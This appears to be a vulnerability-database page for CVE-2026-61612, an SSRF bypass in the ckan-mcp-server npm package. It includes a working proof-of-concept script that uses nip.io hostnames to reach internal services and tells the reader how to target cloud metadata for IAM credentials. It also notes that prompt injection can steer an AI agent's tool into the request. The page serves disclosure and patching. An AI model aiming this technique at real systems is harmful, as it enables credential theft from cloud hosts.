Skip to content
CVE IDCVE-2026-61612GitHub advisory IDGHSA-798p-78g2-v556

@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

CVE-2026-61612 (GitHub advisory GHSA-798p-78g2-v556) is a medium-severity vulnerability with a CVSS 3.1 base score of 5.7, classed as Server-Side Request Forgery (SSRF) (CWE-918), in @aborruso/ckan-mcp-server (npm). Affected versions: <= 0.4.107. It is fixed in 0.4.108.

Medium5.7Fix availableGitHub reviewed

Published 21 Sept 2026Updated 22 Sept 2026

5.7MediumCVSS 3.1
EPSS
0.22%higher than 12% of CVEs
Weakness (CWE)
  • CWE-918Server-Side Request Forgery (SSRF)
KEV status
Not in KEV
Published
21 Sept 2026
Updated
22 Sept 2026
Ecosystem
  • npm
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.

Affected / patched

  • @aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.

Severity

It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

Root cause — src/utils/http.ts, validateServerUrl

The guard blocks IP literals and three loopback alias strings, but does no name resolution:

const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed

Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.

Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

Proof of concept

Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.

npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
node poc.mjs
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;

const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
  command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));

// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });

const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();

Output:

SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}

A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.

Impact

Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

Suggested fix

Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Medium5.7Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
Low
User Interaction UI
Required
Scope S
Unchanged
Confidentiality C
High
Integrity I
None
Availability A
None

CISA SSVC decision points

Exploitation
none
No public exploitation evidence
Automatable
no
Needs manual steps per target
Technical impact
partial
Limited control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • @aborruso/ckan-mcp-server
    npm
    pkg:npm/%40aborruso/ckan-mcp-server
    Affected versions
    <= 0.4.107
    Fixed in
    0.4.108

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.4.108 or later.

Patch commits

  • bb7439bPatch commitgithub.com/ondata/ckan-mcp-server

    fix(security): resolve DNS to close SSRF bypass + mandatory HTTP allowlist (v0.4.108)

    +304 −38 across 10 files

    • LOG.md+9 −0
    • manifest.json+1 −1
    • package.json+1 −1
    • src/server.ts+1 −1
    • src/tools/sparql.ts+3 −1
    • src/transport/http.ts+5 −0
    • src/utils/http.ts+184 −31
    • src/worker.ts+1 −1
    • and 2 more files

Vulnerability intelligence

References

Credits

Questions about CVE-2026-61612

What is the GHSA ID for CVE-2026-61612?
GitHub tracks CVE-2026-61612 as GHSA-798p-78g2-v556.
What is the CVSS score of CVE-2026-61612?
CVE-2026-61612 has a CVSS 3.1 base score of 5.7 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N.
Which versions are affected by CVE-2026-61612?
@aborruso/ckan-mcp-server (npm): <= 0.4.107.
How do I fix CVE-2026-61612?
Upgrade to 0.4.108 or later. The fix is in commit bb7439b.
What is the Package URL (PURL) for CVE-2026-61612?
The affected package's PURL is pkg:npm/%40aborruso/ckan-mcp-server.
Is CVE-2026-61612 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61612. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "none". EPSS estimates a 0.22% chance of exploitation in the next 30 days, higher than 12% of CVEs.

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)No record
  • CVE.orgLoaded
  • CISA KEV catalogLoaded
  • FIRST EPSSLoadedRaw JSON

Fetched 1 day ago (14 Oct 2026, 17:50 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog
EPSS
FIRST EPSS

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.